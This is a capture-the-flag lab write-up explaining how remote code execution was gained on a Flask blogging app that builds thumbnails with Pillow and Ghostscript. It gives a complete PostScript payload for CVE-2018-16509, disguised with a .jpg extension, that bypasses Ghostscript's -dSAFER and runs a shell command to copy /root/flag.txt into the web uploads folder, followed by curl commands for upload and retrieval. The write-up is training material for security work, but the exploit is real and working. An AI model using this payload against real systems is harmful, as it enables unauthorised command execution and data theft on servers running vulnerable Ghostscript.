InkDrop
InkDrop
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: dynamic_path_discovery_for_exfiltration, eps_content_in_jpg_extension_bypass, ghostscript_safer_bypass_via_failed_restore, honeypot_flag_detection, pillow_eps_autodetection_abuse, putdeviceprops_pipe_command_execution
Summary
Task: Flask blogging platform with Pillow-based image thumbnail generation; Ghostscript processes EPS content regardless of file extension. Solution: Upload EPS payload with .jpg extension exploiting CVE-2018-16509 (-dSAFER bypass via failed restore) to achieve RCE and exfiltrate /root/flag.txt.
InkDrop — HackAdvisor Lab 214
Description
Lab 214 — InkDrop — RCE via Ghostscript EPS Processing
InkDrop is a modern blogging platform for creative professionals. Users can create posts with featured images that are automatically optimized — the server generates thumbnails via Pillow. The goal is to achieve RCE and read /root/flag.txt.
Target: https://2650d0d8-d8b6-4abe-a701-ad5a596d9c6d.labs.hackadvisor.io/
Credentials: user@test.com / password123
Analysis
Reconnaissance
- Flask app behind nginx/1.25.5
- Homepage states: "Image pipeline powered by Pillow"
- Post creation at
/post/newwith multipart image upload - Thumbnails generated as
thumb_<uuid>.jpgin/uploads/ - Decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}found in HTML source — honeypot, correctly ignored
Vulnerability: CVE-2018-16509
Ghostscript -dSAFER bypass via failed restore in PostScript.
Pillow's EPS handler detects file format by content (looking for %!PS-Adobe header), not by file extension. This means an EPS payload saved with a .jpg extension will still be processed by Ghostscript during thumbnail generation.
Pillow calls Ghostscript with -dSAFER to prevent dangerous operations, but CVE-2018-16509 bypasses this restriction using a save/legal/{null restore} stopped/restore sequence that disables LockSafetyParams, allowing %pipe% command execution via putdeviceprops.
Solution
Failed Approaches
- Direct
.epsupload — no thumbnail generated; server skips non-image extensions - Direct
%pipe%without SAFER bypass — blocked by-dSAFER - Writing to guessed paths (
/app/uploads/,/app/static/) — wrong paths on the server - SVG upload — no thumbnail processing triggered
showpageafterputdeviceprops— breaks rendering, no thumbnail output
Working Payload
The key insight was combining three techniques:
- EPS content inside a
.jpgfile to bypass extension filtering - CVE-2018-16509 to bypass Ghostscript's
-dSAFER - Dynamic path discovery via
findto locate the uploads directory for exfiltration
Payload (rce7.jpg):
postscript read-only • copy allowed%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%find / -name "thumb_post_0.jpg" -type f 2>/dev/null | head -1 | xargs dirname | xargs -I{} sh -c "cat /root/flag.txt > {}/flagout.txt") currentdevice putdeviceprops
How it works:
| Step | PostScript | Purpose |
|---|---|---|
| 1 | userdict /setpagedevice undef | Removes setpagedevice restriction |
| 2 | save / legal | Sets up VM save point |
| 3 | { null restore } stopped { pop } if | Failed restore disables LockSafetyParams (CVE-2018-16509) |
| 4 | restore | Restores VM state with safety params now unlocked |
| 5 | mark /OutputFile (%pipe%...) currentdevice putdeviceprops | Executes shell command via %pipe% OutputFile |
| |
The shell command chain:
find / -name "thumb_post_0.jpg"— locates the uploads directory dynamicallyxargs dirname— extracts the directory pathcat /root/flag.txt > {}/flagout.txt— writes the flag to the uploads directory
Exploit Steps
bash read-only • copy allowedTARGET="https://2650d0d8-d8b6-4abe-a701-ad5a596d9c6d.labs.hackadvisor.io" # 1. Login curl -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" # 2. Upload malicious EPS-in-JPG as featured image curl -b cookies.txt -X POST "$TARGET/post/new" \ -F "title=Test Post" \ -F "content=Hello" \ -F "image=@rce7.jpg;type=image/jpeg" # 3. Pillow detects EPS content → calls Ghostscript → RCE triggers # 4. Retrieve exfiltrated flag curl "$TARGET/uploads/flagout.txt" # → FLAG{REDACTED}